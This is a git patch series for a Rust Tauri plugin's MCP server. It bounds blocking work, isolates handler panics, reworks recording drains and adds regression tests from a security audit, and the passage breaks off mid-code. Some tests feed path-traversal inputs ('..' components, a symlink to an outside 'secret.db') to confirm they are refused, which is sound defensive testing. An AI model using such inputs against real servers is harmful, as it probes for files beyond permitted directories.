roots: Vec = self.state.db_search_paths.clone(); - for d in [ - self.bridge.app_data_dir(), - self.bridge.app_local_data_dir(), - self.bridge.app_config_dir(), - ] - .into_iter() - .flatten() - { - roots.push(d); - } + let roots = self.db_roots(); let path = if let Some(p) = db_path { Self::resolve_existing_db_path(&roots, p)? @@ -4813,15 +4967,22 @@ impl VictauriMcpHandler { .ok_or_else(|| "invalid path encoding".to_string())? .to_string(); - tokio::task::spawn_blocking(move || { - crate::database::db_health_report( - &path_str, - DB_HEALTH_COUNT_BUDGET, - DB_HEALTH_CHECK_BUDGET, - ) - }) + bounded::run_blocking_bounded( + Some(&bounded::DB_SLOTS), + "db health check", + crate::database::DB_HEALTH_META_BUDGET + + DB_HEALTH_COUNT_BUDGET + + DB_HEALTH_CHECK_BUDGET + + bounded::BLOCKING_DEADLINE_SLACK, + move || { + crate::database::db_health_report( + &path_str, + DB_HEALTH_COUNT_BUDGET, + DB_HEALTH_CHECK_BUDGET, + ) + }, + ) .await - .map_err(|e| format!("db health task failed: {e}"))? } fn check_bridge_version_once(&self) { @@ -4946,7 +5107,14 @@ impl ServerHandler for VictauriMcpHandler { let start = std::time::Instant::now(); tracing::debug!(tool = %tool_name, "tool invocation started"); let ctx = ToolCallContext::new(self, request, context); - let response = Self::tool_router().call(ctx).await; + // Same panic boundary as the REST path: without it a panicking handler left the MCP + // request unanswered until the client's own timeout. + let response = bounded::CatchUnwind::new(Self::tool_router().call(ctx)) + .await + .unwrap_or_else(|panic| { + tracing::error!(tool = %tool_name, "tool handler panicked: {panic}"); + Ok(tool_panicked(&tool_name, &panic).into()) + }); let elapsed = start.elapsed(); tracing::debug!( tool = %tool_name, @@ -5050,7 +5218,10 @@ impl ServerHandler for VictauriMcpHandler { } } RESOURCE_URI_WINDOWS => { - let states = self.bridge.get_window_states(None); + let states = self + .bridge + .try_get_window_states(None) + .map_err(|e| ErrorData::internal_error(ui_busy(&e), None))?; serde_json::to_string_pretty(&states) .map_err(|e| ErrorData::internal_error(e.to_string(), None))? } @@ -5763,11 +5934,12 @@ mod tests { assert!(e1.contains("not within an allowed directory"), "{e1}"); assert!(e2.contains("not within an allowed directory"), "{e2}"); assert!(!e1.contains("not found") && !e2.contains("not found")); - // `..` cannot climb out lexically either. + // `..` is refused outright in an absolute path (audit F6: the OS resolves it after + // following any symlink, so lexical normalization cannot vouch for it). let climb = root.path().join("..").join("x.db"); let e3 = VictauriMcpHandler::resolve_existing_db_path(&roots, climb.to_str().unwrap()) .unwrap_err(); - assert!(e3.contains("not within an allowed directory"), "{e3}"); + assert!(e3.contains("'..' is rejected"), "{e3}"); } #[test] diff --git a/crates/victauri-plugin/src/mcp/robustness_tests.rs b/crates/victauri-plugin/src/mcp/robustness_tests.rs new file mode 100644 index 00000000..4fd0bdf5 --- /dev/null +++ b/crates/victauri-plugin/src/mcp/robustness_tests.rs @@ -0,0 +1,561 @@ +//! Regression tests for the server-robustness audit findings (F3–F6, C8, C10–C12): each one +//! drives the real `execute_tool` dispatch with a bridge configured to reproduce the finding. + +use std::path::PathBuf; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +use rmcp::model::{CallToolResult, ContentBlock}; +use victauri_core::WindowState; + +use super::VictauriMcpHandler; +use crate::VictauriState; +use crate::bridge::WebviewBridge; + +/// A bridge whose app directories, UI responsiveness and failure modes are set per test. +#[derive(Default)] +struct TestBridge { + data: Option, + config: Option, + local_data: Option, + log: Option, + /// Every main-thread window query fails as a dispatch timeout would. + ui_busy: bool, + /// `app_data_dir` panics (a handler that reaches it panics). + panic_on_data_dir: bool, +} + +const BUSY: &str = "get_window_states did not complete on the main thread: timed out"; + +fn dir(d: Option<&PathBuf>) -> Result { + d.cloned().ok_or_else(|| "no such dir".to_string()) +} + +impl WebviewBridge for TestBridge { + fn eval_webview(&self, _label: Option<&str>, _script: &str) -> Result<(), String> { + Err("no webview in this test".to_string()) + } + fn get_window_states(&self, label: Option<&str>) -> Vec { + self.try_get_window_states(label).unwrap_or_default() + } + fn try_get_window_states(&self, label: Option<&str>) -> Result, String> { + if self.ui_busy { + return Err(BUSY.to_string()); + } + Ok( + vec![WindowState::new("main".to_string()).with_visible(true)] + .into_iter() + .filter(|w| label.is_none_or(|l| w.label == l)) + .collect(), + ) + } + fn list_window_labels(&self) -> Vec { + self.try_list_window_labels().unwrap_or_default() + } + fn try_list_window_labels(&self) -> Result, String> { + if self.ui_busy { + return Err(BUSY.to_string()); + } + Ok(vec!["main".to_string()]) + } + fn get_native_handle(&self, _label: Option<&str>) -> Result { + Err("no handle".to_string()) + } + fn manage_window(&self, _label: Option<&str>, _action: &str) -> Result { + Err("no window".to_string()) + } + fn resize_window(&self, _l: Option<&str>, _w: u32, _h: u32) -> Result<(), String> { + Ok(()) + } + fn move_window(&self, _l: Option<&str>, _x: i32, _y: i32) -> Result<(), String> { + Ok(()) + } + fn set_window_title(&self, _l: Option<&str>, _t: &str) -> Result<(), String> { + Ok(()) + } + fn app_data_dir(&self) -> Result { + assert!(!self.panic_on_data_dir, "app_data_dir exploded"); + dir(self.data.as_ref()) + } + fn app_config_dir(&self) -> Result { + dir(self.config.as_ref()) + } + fn app_log_dir(&self) -> Result { + dir(self.log.as_ref()) + } + fn app_local_data_dir(&self) -> Result { + dir(self.local_data.as_ref()) + } +} + +fn handler_with(bridge: TestBridge, state: VictauriState) -> VictauriMcpHandler { + let mut state = state; + state.eval_timeout = Duration::from_millis(200); + VictauriMcpHandler::new(Arc::new(state), Arc::new(bridge)) +} + +fn handler(bridge: TestBridge) -> VictauriMcpHandler { + handler_with(bridge, VictauriState::for_tests()) +} + +async fn call(h: &VictauriMcpHandler, tool: &str, args: serde_json::Value) -> CallToolResult { + // Bounded so a regression that hangs fails instead of wedging the suite. + tokio::time::timeout(Duration::from_secs(20), h.execute_tool(tool, args)) + .await + .unwrap_or_else(|_| panic!("{tool} did not return within 20s")) + .unwrap_or_else(|_| panic!("{tool}: dispatch rejected the arguments")) +} + +fn text(r: &CallToolResult) -> String { + r.content + .iter() + .filter_map(|c| match c { + ContentBlock::Text(t) => Some(t.text.clone()), + _ => None, + }) + .collect::>() + .join("\n") +} + +fn json(r: &CallToolResult) -> serde_json::Value { + assert_ne!(r.is_error, Some(true), "unexpected tool error: {}", text(r)); + serde_json::from_str(&text(r)).expect("tool result is JSON") +} + +#[cfg(feature = "sqlite")] +fn make_db(path: &std::path::Path, table: &str) { + let conn = rusqlite::Connection::open(path).unwrap(); + conn.execute_batch(&format!( + "CREATE TABLE {table} (x INTEGER); INSERT INTO {table} VALUES (1);" + )) + .unwrap(); +} + +// ── F3: one ordered, de-duplicated root list for query_db AND db_health ────────────────── + +#[cfg(feature = "sqlite")] +#[test] +fn db_roots_are_ordered_deduplicated_and_include_the_log_dir() { + let (a, b, c) = ( + PathBuf::from("/a"), + PathBuf::from("/b"), + PathBuf::from("/c"), + ); + let mut state = VictauriState::for_tests(); + state.db_search_paths = vec![b.clone()]; + let h = handler_with( + TestBridge { + data: Some(a.clone()), + config: Some(b.clone()), + local_data: Some(a.clone()), + log: Some(c.clone()), + ..TestBridge::default() + }, + state, + ); + for _ in 0..16 { + assert_eq!(h.db_roots(), vec![b.clone(), a.clone(), c.clone()]); + } +} + +#[cfg(feature = "sqlite")] +#[tokio::test] +async fn db_health_finds_a_relative_path_in_the_log_dir() { + let data = tempfile::tempdir().unwrap(); + let log = tempfile::tempdir().unwrap(); + make_db(&log.path().join("app.db"), "logged"); + let h = handler(TestBridge { + data: Some(data.path().to_path_buf()), + log: Some(log.path().to_path_buf()), + ..TestBridge::default() + }); + let r = call( + &h, + "introspect", + serde_json::json!({"action": "db_health", "db_path": "app.db"}), + ) + .await; + assert_eq!(json(&r)["tables"][0]["name"], "logged"); +} + +// ── F4: list_app_dir walks are bounded by entries EXAMINED ────────────────────────────── + +#[test] +fn dir_walk_stops_at_the_visit_cap_even_when_nothing_matches() { + let root = tempfile::tempdir().unwrap(); + for i in 0..50 { + std::fs::write(root.path().join(format!("f{i}.txt")), "x").unwrap(); + } + let mut walk = super::DirWalk { + canon_base: std::fs::canonicalize(root.path()).unwrap(), + pattern: Some("*.nomatch".to_string()), + max_depth: 5, + deadline: Instant::now() + Duration::from_secs(30), + max_visited: 10, + visited: 0, + truncated: false, + entries: Vec::new(), + }; + walk.visit(root.path(), root.path(), 0); + assert!(walk.entries.is_empty()); + assert_eq!(walk.visited, 10); + assert!(walk.truncated, "a capped walk must say so"); +} + +#[tokio::test] +async fn list_app_dir_reports_a_complete_listing_as_not_truncated() { + let root = tempfile::tempdir().unwrap(); + std::fs::write(root.path().join("a.db"), "x").unwrap(); + std::fs::write(root.path().join("b.txt"), "x").unwrap(); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + let r = json(&call(&h, "list_app_dir", serde_json::json!({"pattern": "*.db"})).await); + assert_eq!(r["count"], 1); + assert_eq!(r["truncated"], false); + assert_eq!(r["entries"][0]["name"], "a.db"); +} + +// ── F5: truncating mid-character keeps the text a text ────────────────────────────────── + +#[tokio::test] +async fn read_app_file_truncated_mid_character_stays_utf8() { + let root = tempfile::tempdir().unwrap(); + std::fs::write(root.path().join("notes.txt"), "é".repeat(100)).unwrap(); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + let r = json( + &call( + &h, + "read_app_file", + serde_json::json!({"path": "notes.txt", "max_bytes": 11}), + ) + .await, + ); + assert_eq!(r["encoding"], "utf-8", "{r}"); + assert_eq!(r["content"], "é".repeat(5)); + assert_eq!(r["file"]["truncated"], true); +} + +#[tokio::test] +async fn read_app_file_invalid_utf8_is_still_base64() { + let root = tempfile::tempdir().unwrap(); + std::fs::write(root.path().join("bin.dat"), [0x66, 0xff, 0x66, 0x66]).unwrap(); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + let r = json( + &call( + &h, + "read_app_file", + serde_json::json!({"path": "bin.dat", "max_bytes": 3}), + ) + .await, + ); + assert_eq!(r["encoding"], "base64"); +} + +// ── F6: no existence oracle through `..` or a symlink inside a root ───────────────────── + +#[cfg(feature = "sqlite")] +#[tokio::test] +async fn query_db_rejects_parent_components_in_absolute_paths() { + let root = tempfile::tempdir().unwrap(); + std::fs::create_dir(root.path().join("sub")).unwrap(); + make_db(&root.path().join("app.db"), "t"); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + let sneaky = root.path().join("sub").join("..").join("app.db"); + let r = call( + &h, + "query_db", + serde_json::json!({"query": "SELECT 1", "path": sneaky.to_string_lossy()}), + ) + .await; + assert_eq!(r.is_error, Some(true)); + assert!(text(&r).contains("'..' is rejected"), "{}", text(&r)); +} + +#[cfg(feature = "sqlite")] +#[cfg(unix)] +#[tokio::test] +async fn a_symlink_out_of_a_root_is_no_existence_oracle() { + let root = tempfile::tempdir().unwrap(); + let outside = tempfile::tempdir().unwrap(); + make_db(&outside.path().join("secret.db"), "t"); + std::os::unix::fs::symlink(outside.path(), root.path().join("link")).unwrap(); + let h = handler(TestBridge { + data: Some(root.path().to_path_buf()), + ..TestBridge::default() + }); + + // query_db, absolute and relative: an existing and a missing outside file answer alike. + for (existing, missing) in [ + ( + root.path() + .join("link/secret.db") + .to_string_lossy() + .into_owned(), + root.path() + .join("link/nope.db") + .to_string_lossy() + .into_owned(), + ), + ("link/secret.db".to_string(), "link/nope.db".to_string()), + ] { + let a = call( + &h, + "query_db", + serde_json::json!({"query": "SELECT 1", "path": existing}), + ) + .await; + let b = call( + &h, + "query_db", + serde_json::json!({"query": "SELECT 1", "path": missing}), + ) + .await; + assert_eq!(a.is_error, Some(true)); + assert_eq!( + text(&a).replace("secret.db", "X"), + text(&b).replace("nope.db", "X") + ); + } + + // read_app_file and list_app_dir: both refused as traversal. + for path in ["link/secret.db", "link/nope.db"] { + let r = call(&h, "read_app_file", serde_json::json!({"path": path})).await; + assert!( + text(&r).contains("path traversal not allowed"), + "{path}: {}", + text(&r) + ); + } + for path in ["link", "link/missing-subdir"] { + let r = call(&h, "list_app_dir", serde_json::json!({"path": path})).await; + assert!( + text(&r).contains("path traversal not allowed"), + "{path}: {}", + text(&r) + ); + } + // A genuinely missing path inside the root is still a normal "exists: false". + let r = json( + &call( + &h, + "list_app_dir", + serde_json::json!({"path": "nothing-here"}), + ) + .await, + ); + assert_eq!(r["exists"], false); +} + +// ── C8: look-back windows saturate; a panicking handler is an error result ────────────── + +#[tokio::test] +async fn huge_look_back_windows_do_not_panic() { + let h = handler(TestBridge::default()); + let r = call( + &h, + "introspect", + serde_json::json!({"action": "event_bus", "args": {"since_ms": u64::MAX}}), + ) + .await; + assert_ne!(r.is_error, Some(true), "{}", text(&r)); + for action in ["summary", "last_action", "diff"] { + let r = call( + &h, + "explain", + serde_json::json!({"action": action, "seconds": 10_000_000_000_000_u64}), + ) + .await; + assert_ne!(r.is_error, Some(true), "{action}: {}", text(&r)); + } + let r = call( + &h, + "wait_for", + serde_json::json!({"condition": "event", "value": "never", "timeout_ms": 50, + "since_ms": 9_000_000_000_000_000_u64}), + ) + .await; + assert!(text(&r).contains("timeout after 50ms"), "{}", text(&r)); +} + +/// `since_ms` above `i64::MAX` used to wrap negative and put the baseline in the FUTURE, so +/// an event already on the bus was never matched. +#[tokio::test] +async fn wait_for_event_with_a_huge_look_back_sees_past_events() { + let h = handler(TestBridge::default()); + h.state + .event_bus + .push(crate::introspection::CapturedTauriEvent { + name: "job-done".to_string(), + payload: String::new(), + timestamp: (chrono::Utc::now() - chrono::TimeDelta::seconds(5)) + .to_rfc3339_opts(chrono::SecondsFormat::Millis, true), + }); + let r = json( + &call( + &h, + "wait_for", + serde_json::json!({"condition": "event", "value": "job-done", "timeout_ms": 200, + "since_ms": i64::MAX as u64 + 1}), + ) + .await, + ); + assert_eq!(r["ok"], true, "{r}"); +} + +#[tokio::test] +async fn a_panicking_handler_returns_an_internal_error_over_rest() { + let h = handler(TestBridge { + panic_on_data_dir: true, + ..TestBridge::default() + }); + let r = call(&h, "list_app_dir", serde_json::json!({})).await; + assert_eq!(r.is_error, Some(true)); + let t = text(&r); + assert!( + t.contains("handler panicked") && t.contains("app_data_dir exploded"), + "{t}" + ); + // The server keeps serving. + let r = call(&h, "get_plugin_info", serde_json::json!({})).await; + assert_ne!(r.is_error, Some(true)); +} + +#[tokio::test] +async fn a_panicking_handler_returns_an_internal_error_over_mcp() { + use http_body_util::BodyExt; + use tower::ServiceExt; + let app = super::build_app( + Arc::new(VictauriState::for_tests()), + Arc::new(TestBridge { + panic_on_data_dir: true, + ..TestBridge::default() + }), + ); + let body = serde_json::json!({ + "jsonrpc": "2.0", "id": 1, "method": "tools/call", + "params": {"name": "list_app_dir", "arguments": {}}, + }); + let req = axum::http::Request::post("/mcp") + .header("host", "127.0.0.1:7373") + .header("content-type", "application/json") + .header("accept", "application/json, text/event-stream") + .header("mcp-protocol-version", "2025-06-18") + .body(axum::body::Body::from(body.to_string())) + .unwrap(); + let resp = tokio::time::timeout(Duration::from_secs(20), app.oneshot(req)) + .await + .expect("an MCP call to a panicking handler must still be answered") + .unwrap(); + let bytes = resp.into_body().collect().await.unwrap().to_bytes(); + let body = String::from_utf8_lossy(&bytes); + assert!(body.contains("handler panicked"), "{body}"); +} + +// ── C10: wait_for(event) never sleeps past its deadline ───────────────────────────────── + +#[tokio::test] +async fn wait_for_event_returns_at_its_timeout_whatever_the_poll_interval() { + let h = handler(TestBridge::default()); + for poll in [3_000_u64, u64::MAX] { + let started = Instant::now(); + let r = call( + &h, + "wait_for", + serde_json::json!({"condition": "event", "value": "never", "timeout_ms": 100, + "poll_ms": poll}), + ) + .await; + assert!(text(&r).contains("timeout after 100ms"), "{}", text(&r)); + assert!( + started.elapsed() < Duration::from_secs(1), + "poll_ms={poll} took {:?}", + started.elapsed() + ); + } +} + +// ── C11: a busy UI is reported as busy, never as "no windows" ─────────────────────────── + +#[tokio::test] +async fn a_busy_ui_is_not_reported_as_missing_or_empty_windows() { + let h = handler(TestBridge { + ui_busy: true, + ..TestBridge::default() + }); + for args in [ + serde_json::json!({"action": "get_state", "label": "main"}), + serde_json::json!({"action": "get_state"}), + serde_json::json!({"action": "list"}), + serde_json::json!({"action": "introspectability"}), + ] { + let r = call(&h, "window", args.clone()).await; + assert_eq!(r.is_error, Some(true), "{args}: {}", text(&r)); + assert!(text(&r).contains("UI thread busy"), "{args}: {}", text(&r)); + assert!(!text(&r).contains("not found"), "{args}: {}", text(&r)); + } + let caps = json( + &call( + &h, + "introspect", + serde_json::json!({"action": "capabilities"}), + ) + .await, + ); + assert!(caps["live_windows"].is_null()); + assert!( + caps["live_windows_error"] + .as_str() + .is_some_and(|e| e.contains("UI thread busy")) + ); + let r = call(&h, "screenshot", serde_json::json!({})).await; + assert!(text(&r).contains("UI thread busy"), "{}", text(&r)); +} + +// ── C12: app probes run off the executor, bounded and panic-isolated ──────────────────── + +#[tokio::test] +async fn app_state_probes_are_bounded_and_panic_isolated() { + let state = VictauriState::for_tests(); + state.probes.register( + "stuck", + Arc::new(|| { + std::thread::sleep(Duration::from_secs(4)); + serde_json::json!({"late": true}) + }), + ); + state + .probes + .register("broken", Arc::new(|| panic!("probe state poisoned"))); + state + .probes + .register("fine", Arc::new(|| serde_json::json!({"depth": 3}))); + let h = handler_with(TestBridge::default(), state); + + let started = Instant::now(); + let r = call(&h, "app_state", serde_json::json!({"probe": "stuck"})).await; + assert_eq!(r.is_error, Some(true)); + assert!(text(&r).contains("did not finish"), "{}", text(&r)); + assert!( + started.elapsed() < Duration::from_secs(3), + "{:?}", + started.elapsed() + ); + + let r = call(&h, "app_state", serde_json::json!({"probe": "broken"})).await; + assert_eq!(r.is_error, Some(true)); + assert!(text(&r).contains("probe state poisoned"), "{}", text(&r)); + + let r = json(&call(&h, "app_state", serde_json::json!({"probe": "fine"})).await); + assert_eq!(r["depth"], 3); +} From e94115b50f35a6659aa138d8803e0b9c85a53b33 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:00:11 +1000 Subject: [PATCH 027/167] fix(recording): sequence-keyed drain, recording-scoped reads, window-true replay, trace lifecycle MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Drain (C5/V-10, C13, C6): - The JS bridge sequences each log entry the first time a drain sees it complete (`drainEvents(afterSeq, instance, floorMs)` -> {instance, seq, events}); the Rust drain position is (page instance, seq), not a wall-clock watermark clamped to the Rust clock. A future-dated event was re-read on every drain (1 event -> 5 records in 5 drains) and same-ms events pushed after a read were lost; now each is read exactly once. A reload restarts the sequence under a new instance id. Only a window's first read in a recording skips pre-recording history by timestamp. - Plain network events are keyed by completion and not emitted while pending in watermark mode (same fix IPC got in R2-13). - The drain pins the recorder generation before its read and records with record_event_if; positions are per recording epoch (= generation), a read that straddles a reset cannot plant an old position, and a drain in the gap between `start` and the epoch reset does not read. Start/import take the floor before the recording becomes active; import is check-and-replace atomic (import_if_idle). Replay / mocked calls (V-3): - ipc/network stream events carry `mocked` for route-fulfilled/blocked requests; the drain records it on IpcCall and replay skips mocked calls. - Replay runs each call in the window that recorded it (never a default window; a gone window fails the call); `webview_label` now filters. - The drain reply is serialized by the bridge's pristine JSON.stringify via `_evalSettle`, not the page's. Page JSON (V-4): - mcp::page_json::{sanitize_lone_surrogates, parse_page_json}: escape-aware rewrite of unpaired \uD800-\uDFFF escapes to �. Used by the drain, the eval envelope (so every eval_with_return consumer: introspect command_timings/coverage/command_catalog, explain) and those sites directly. The drain's position comes from the bridge counter, so an unparseable entry no longer stalls a window. Trace (C14): - active/generation/owned recording live under one mutex; ownership is by trace generation + recorder generation (no ABA via session ids); an old task's auto-stop can no longer take a newer trace's recording. - interval clamped to 50..=60000 ms so the 30-min auto-stop keeps firing. - CaptureTaskGuard ends the trace and its recording however the capture task exits, including a panic. Also: backticks for a pre-existing clippy doc_markdown hit in mod.rs tests; tools_fallback.json regenerated for the recording description. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-cli/src/tools_fallback.json | 2 +- crates/victauri-plugin/src/introspection.rs | 69 +++- crates/victauri-plugin/src/js_bridge.rs | 146 ++++--- .../src/mcp/compound_params.rs | 5 +- crates/victauri-plugin/src/mcp/drain_tests.rs | 370 ++++++++++++++++++ crates/victauri-plugin/src/mcp/mod.rs | 183 +++++---- crates/victauri-plugin/src/mcp/page_json.rs | 116 ++++++ crates/victauri-plugin/src/mcp/server.rs | 155 ++++---- crates/victauri-plugin/src/screencast.rs | 303 ++++++++++---- crates/victauri-plugin/tests/bridge_tests.rs | 166 ++++++++ 10 files changed, 1214 insertions(+), 301 deletions(-) create mode 100644 crates/victauri-plugin/src/mcp/drain_tests.rs create mode 100644 crates/victauri-plugin/src/mcp/page_json.rs diff --git a/crates/victauri-cli/src/tools_fallback.json b/crates/victauri-cli/src/tools_fallback.json index ac5cd412..58c146f7 100644 --- a/crates/victauri-cli/src/tools_fallback.json +++ b/crates/victauri-cli/src/tools_fallback.json @@ -104,7 +104,7 @@ "name": "read_app_file" }, { - "description": "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments — their side effects happen again; calls that had arguments, failed, or never completed are skipped because recordings do not capture arguments), flush (immediately drain pending events into recording without waiting for the 1-second poll).", + "description": "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments, each in the window that made it — their side effects happen again; calls that had arguments, failed, never completed, or were answered by a route rule are skipped, and webview_label limits replay to that window's calls), flush (immediately drain pending events into recording without waiting for the 1-second poll).", "name": "recording" }, { diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 5db7a153..15e4bf30 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -1295,13 +1295,17 @@ impl PageLoads { } // ── Recording drain watermarks ───────────────────────────────────────────── -/// Per-window high-water marks for pulling the JS bridge's event stream into a recording, +/// Per-window drain positions for pulling the JS bridge's event stream into a recording, /// shared by the background drain loop and `recording flush`. /// /// Each kept its own watermark before, so a flush re-recorded what the drain had captured -/// (and vice versa). The floor is reset whenever a recording starts or is imported, so the -/// page's pre-recording history is never pulled in. A per-window async lock serializes the -/// two readers for the same window. +/// (and vice versa). A position is the bridge's per-page event SEQUENCE (plus the page +/// instance it belongs to), not a wall-clock timestamp: a timestamp watermark clamped to the +/// Rust clock re-read an event stamped ahead of it on every drain, and lost events pushed in +/// the same millisecond after a read. Positions are reset whenever a recording starts or is +/// imported — the new epoch is the recorder generation, and a window's first read in it skips +/// the page's pre-recording history by the `floor_ms` timestamp. A per-window async lock +/// serializes the two readers for the same window. #[derive(Default)] pub struct DrainWatermarks { inner: std::sync::Mutex, @@ -1310,10 +1314,32 @@ pub struct DrainWatermarks { #[derive(Default)] struct WatermarkState { floor_ms: f64, - per_label: HashMap, + epoch: u64, + per_label: HashMap, locks: HashMap>>, } +/// How far a window's event stream has been drained: the bridge's page `instance` and the +/// last sequence number read from it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct DrainMark { + /// Identifies one page load of the window (the sequence restarts on reload). + pub instance: String, + /// The last sequence number read from that page. + pub seq: u64, +} + +/// Where the next drain of a window starts, captured in one step. +#[derive(Debug, Clone)] +pub struct DrainCursor { + /// The recording epoch (recorder generation) this position belongs to. + pub epoch: u64, + /// Entries completed at or before this time predate the recording (first read only). + pub floor_ms: f64, + /// The window's position, or `None` if it has not been read in this epoch. + pub mark: Option, +} + impl DrainWatermarks { fn state(&self) -> std::sync::MutexGuard<'_, WatermarkState> { self.inner @@ -1321,30 +1347,35 @@ impl DrainWatermarks { .unwrap_or_else(std::sync::PoisonError::into_inner) } - /// The exclusive watermark to read `label`'s stream from. + /// Where to read `label`'s stream from. #[must_use] - pub fn since(&self, label: &str) -> f64 { + pub fn cursor(&self, label: &str) -> DrainCursor { let s = self.state(); - s.per_label - .get(label) - .copied() - .unwrap_or(s.floor_ms) - .max(s.floor_ms) + DrainCursor { + epoch: s.epoch, + floor_ms: s.floor_ms, + mark: s.per_label.get(label).cloned(), + } } - /// Advance `label`'s watermark to `ms` (never moves backwards). - pub fn advance(&self, label: &str, ms: f64) { + /// Record that `label` was read up to `mark`, if `epoch` is still the current one (a read + /// that straddled a reset must not plant an old position in the new epoch). Returns + /// whether the position was stored. + pub fn advance(&self, label: &str, epoch: u64, mark: DrainMark) -> bool { let mut s = self.state(); - let entry = s.per_label.entry(label.to_string()).or_insert(ms); - if ms > *entry { - *entry = ms; + if s.epoch != epoch { + return false; } + s.per_label.insert(label.to_string(), mark); + true } - /// Start a new recording epoch: nothing at or before `floor_ms` is ever read. - pub fn reset(&self, floor_ms: f64) { + /// Start recording epoch `epoch`: every window is read afresh, skipping entries at or + /// before `floor_ms`. + pub fn reset(&self, floor_ms: f64, epoch: u64) { let mut s = self.state(); s.floor_ms = floor_ms; + s.epoch = epoch; s.per_label.clear(); } diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index dc89e150..27a4c971 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -313,6 +313,68 @@ const INIT_SCRIPT_BODY: &str = r#" return out; } + // ── Event stream (shared by getEventStream and the recording drain) ───── + // + // Calls `emit(event, keyTime, entry)` for every loggable entry. IPC and plain network + // entries are keyed by COMPLETION time: keyed by start, a call still pending at one drain + // tick fell behind the watermark and stayed "pending" in recordings forever. With + // `skipPending` a pending call is not emitted at all (it is emitted once it completes). + // `mocked` marks a request a route rule answered (fulfill) or refused (block) in the page — + // it never reached the backend, so it must never be replayed as a real call. + var DRAIN_INSTANCE = (function() { + try { + var b = new Uint32Array(4); + window.crypto.getRandomValues(b); + return Array.prototype.map.call(b, function(x) { return x.toString(36); }).join('-'); + } catch (e) { + return Date.now().toString(36) + '-' + Math.random().toString(36).slice(2); + } + })(); + var drainSeq = 0; + var drainSeqs = new WeakMap(); + var IPC_VICTAURI_PREFIX = 'plugin%3Avictauri%7C'; + function forEachStreamEvent(skipPending, emit) { + consoleLogs.forEach(function(l) { + emit({ type: 'console', level: l.level, message: l.message, timestamp: l.timestamp }, l.timestamp, l); + }); + mutationLog.forEach(function(m) { + emit({ type: 'dom_mutation', count: m.count, timestamp: m.timestamp }, m.timestamp, m); + }); + networkLog.forEach(function(n) { + var isPending = n.status === 'pending'; + if (isPending && skipPending) return; + var key = isPending ? n.timestamp : n.timestamp + (n.duration_ms || 0); + var mocked = n.mocked === true || n.blocked === true; + var raw = ipcCommandPath(n.url); + if (raw === null) { + // Plain network traffic. IPC requests are emitted once, as `ipc` events — + // not a second time as `network`. + var nev = { type: 'network', method: n.method, url: n.url, status: n.status, duration_ms: n.duration_ms, timestamp: n.timestamp, seq_ts: key }; + if (mocked) nev.mocked = true; + emit(nev, key, n); + return; + } + if (raw.indexOf(IPC_VICTAURI_PREFIX) === 0) return; + var cmd; try { cmd = decodeURIComponent(raw); } catch(e) { cmd = raw; } + // Same classification as getIpcLog: HTTP 200 with a + // `Tauri-Response: error` header is a failed command. + var st; + if (isPending) st = 'pending'; + else if (n.status !== 200 && n.status !== 'ok') st = 'error'; + else if (n.ipc_response === 'error') st = 'error'; + else st = 'ok'; + var iev = { type: 'ipc', command: cmd, status: st, duration_ms: n.duration_ms, arg_size_bytes: n.arg_size_bytes || 0, timestamp: n.timestamp, seq_ts: key }; + if (mocked) iev.mocked = true; + emit(iev, key, n); + }); + navigationLog.forEach(function(n) { + emit({ type: 'navigation', url: n.url, nav_type: n.type, timestamp: n.timestamp }, n.timestamp, n); + }); + interactionLog.forEach(function(i) { + emit({ type: 'dom_interaction', action: i.action, selector: i.selector, value: i.value, timestamp: i.timestamp }, i.timestamp, i); + }); + } + // ── Public API ─────────────────────────────────────────────────────────── window.__VICTAURI__ = { @@ -949,64 +1011,40 @@ const INIT_SCRIPT_BODY: &str = r#" var ts = since || 0; var excl = exclusive === true; function inRange(t) { return excl ? t > ts : t >= ts; } - - consoleLogs.forEach(function(l) { - if (inRange(l.timestamp)) { - events.push({ type: 'console', level: l.level, message: l.message, timestamp: l.timestamp }); - } - }); - - mutationLog.forEach(function(m) { - if (inRange(m.timestamp)) { - events.push({ type: 'dom_mutation', count: m.count, timestamp: m.timestamp }); - } - }); - - var victauriPrefix = 'plugin%3Avictauri%7C'; - networkLog.forEach(function(n) { - var raw = ipcCommandPath(n.url); - if (raw === null) { - // Plain network traffic. IPC requests are emitted once, as `ipc` - // events above/below — not a second time as `network`. - if (!inRange(n.timestamp)) return; - events.push({ type: 'network', method: n.method, url: n.url, status: n.status, duration_ms: n.duration_ms, timestamp: n.timestamp }); - return; - } - if (raw.indexOf(victauriPrefix) === 0) return; - // IPC calls are keyed by COMPLETION time (`seq_ts`), not start time. Keyed by - // start, a call still pending at one drain tick fell behind the watermark and was - // never read again — so every command slower than the drain gap stayed "pending" - // forever in recordings. In exclusive (watermark) mode a pending call is skipped - // and emitted once, when it completes. - var isPending = n.status === 'pending'; - if (isPending && excl) return; - var seq = isPending ? n.timestamp : n.timestamp + (n.duration_ms || 0); - if (!inRange(seq)) return; - var cmd; try { cmd = 